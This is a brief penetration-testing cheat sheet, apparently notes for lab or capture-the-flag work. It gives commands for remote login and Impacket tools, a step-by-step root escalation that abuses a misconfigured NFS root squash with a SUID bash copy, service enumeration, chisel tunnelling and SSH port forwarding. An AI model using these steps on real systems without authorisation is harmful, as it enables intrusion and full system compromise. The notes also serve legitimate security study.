# Foothold quickstart

xfreerdp /v:10.1.1.1 /u:user /p:password

python3 mssqlclient.py -port 27900 user:password@10.1.1.1

1. NFS Access
2. Gain Low Privilege Shell
3. Upload Bash Executable to the NFS share
4. sudo chown root bash && sudo chmod +s bash Set SUID Permissions Through NFS Due To Misconfigured Root Squash `
5. Login through SSH
6. ./bash -p Execute SUID Bit Bash, -p preserves privileges
7. rooted

python3 psexec.py administrator@10.1.1.1

https://github.com/jpillora/chisel

Enumerate services once foothold is established to see if there are any which aren't served to public

netstat -lepunt
ss -lepunt

forward a port on remote server to yours:

ssh -L 6379:localhost:6379 user@mydomainwhatever.net
ssh -L 6379:localhost:6379 user@mydomainwhatever.net -p 2222